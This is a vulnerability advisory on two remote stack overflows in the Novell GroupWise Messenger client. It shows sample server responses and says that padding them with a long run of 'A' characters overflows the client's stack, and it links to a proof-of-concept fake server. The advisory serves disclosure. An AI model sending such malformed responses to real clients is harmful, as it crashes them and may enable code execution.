.:: SUMMARY

Novell GroupWise Messenger Client (GWIM) Remote Stack Overflow


Version: 2.0, It is suspected that all previous versions of Groupwise
Messenger Client are vulnerable.

.:: BACKGROUND

Novell GroupWise Messenger is a corporate instant messaging product that uses
Novell eDirectory? as its user database


More info:    http://www.novell.com

.:: VULNERABILITY VIDEO DEMO

http://www.infobyte.com.ar/demo/ISR_groupwise_messenger.html


.:: POC

ISR-groupwisemsn.pl, simple fake groupwise msn server.
http://www.infobyte.com.ar/developments.html

.:: DESCRIPTION

Issue 1:
- -------

This issue is due to a failure of the application to securely parse the
server's response.
The application server works similarly to HTTP protocol, default tcp port
8300.
The server always response the client's request with something like this:


"
HTTP/1.0 200 \r
Date: xxx, xx xxx xxxx xx:xx:xx GMT\r
Pragma: no-cache\r
Cache-Control: no-cache\r
\r

%VALUES%
\0\0\0
\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0
\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0

"

If the client application receive a server response to any request like the
following, a stack overflow is occurred:
"
HTTP/1.0 200 \r
Date: xxx, xx xxx xxxx xx:xx:xx GMT\r
Pragma: no-cache\r

Cache-Control: no-cache\r
\r

%VALUES%
\0\0\0
\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0
\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"+ "AAAAAAAAAA...." x 5000

Issue 2:
- ------

We found another stack overflow regarding the client's popup alerts,
when you receive a message of another user the server send a string like
this to the client:

"l\0\0\x001\0\0\0CN=XXXX,OU=XX,OU=XXXX,OU=XX,OU=XX,O=INFOBYTEXX\0'\0\0\0[87

1F8247-4B110000-0A01C80A-6C20-010
0]\0\1\0\0\0\xE4\0\0\0{\\rtf1\\fbidis\\ansi\\ansicpg1252\\deff0\\deflang308
2{\\fonttbl{\\f0\\fswiss\\fprq2\\fcharset0
fontname;}}\r\n{\\colortbl;\\red0\\green0\\blue0;}\r\n\\viewkind4\\uc1\\par

d\\ltrpar\\li50\\ri50\\cf1\\f0\\fs20 MESSAGE\\par\r\n}\r\n\0";

If a client receive a string like this but in any place of the string it's
added an "A" x 5000 you have another stack overflow.
